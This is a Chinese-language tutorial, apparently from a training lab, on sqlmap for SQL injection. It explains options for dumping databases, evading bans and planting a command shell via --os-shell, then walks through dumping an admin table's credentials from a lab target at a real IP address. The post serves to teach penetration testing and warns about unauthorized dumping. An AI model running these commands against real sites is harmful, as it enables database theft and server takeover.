先说一下最常用的基础指令
-u 指定注入点（一般为url栏的网址）
--dbs 跑库名
--tables 跑表名
--columns 跑字段名
--dump 枚举数据（高危指令，容易进去）
-D 库名 指定数据库
-T 表名 指定表
-C 字段名 指定字段
这里就是更高级一点的指令
--random-agent 选择随机user-agents头
--delay=1 每次探测延迟一秒（防止访问过快被BAN）
--count 查看数据量（比--dump温柔，不会显示敏感信息）
-- proxy"http://127.0.0.1:1080" 使用本地1080端口
--level 1-5 测试等级，等级越高检测越详细，例如level大于2会检测cookie注入，大于3会检测头注入
--risk 一般都用 --level 3 --risk 2
--is-dba 查询当前用户权限，如果DBA是true可以尝试直接拿webshell
--os-shell 尝试往网站中放入一个cmdshell（拥有cmd权限的shell）
需要选择写入shell的脚本语言
好，现在开始正式进入SQL注入子猫舍之sqlmap工具的用法
首先需要检查sqlmap是否能正常使用，在cmd中将文件路径cd为工具所在路径，然后输入如下命令
如果看到了下面的景象，那么恭喜你，工具并无大碍
接着就使用上面提到的指令-u http://59.63.200.79:8003/?id=1，就会自动进行漏洞检测
然后就会显示漏洞检测的结果有两个：基于布尔类型的盲注和基于时间的盲注
但是并没有我们发现的显错注入，这就是工具的弊端，所以不能依赖工具！不能依赖工具！不能依赖工具！
我们默认我们都发现了显错注入漏洞，只是用工具来解放双手
所以现在就要准备提取信息，先定位库和表
先看看有哪些库 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs
这个就是查询到的结果
然后可以使用-u http://59.63.200.79:8003/?id=1 -D maoshe --tables来看看maoshe库里有哪些表主要是寻找admin表，当然其他库也要看看，这里只是因为我们知道maoshe库里有我们想要的东西
这个就是查询到的结果
现在就可以使用能吃牢饭的高危指令（一般做渗透测试未经受援不能查看敏感信息） -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --dump
来查看admin表里的信息
得到了最后需要的
username：admin
password：hellohack
工具用起来只要知道命令就非常简单，但是工具也只是是没有自主意识的工具，不能完全代替手注所以
不能依赖工具！
不能依赖工具！
不能依赖工具！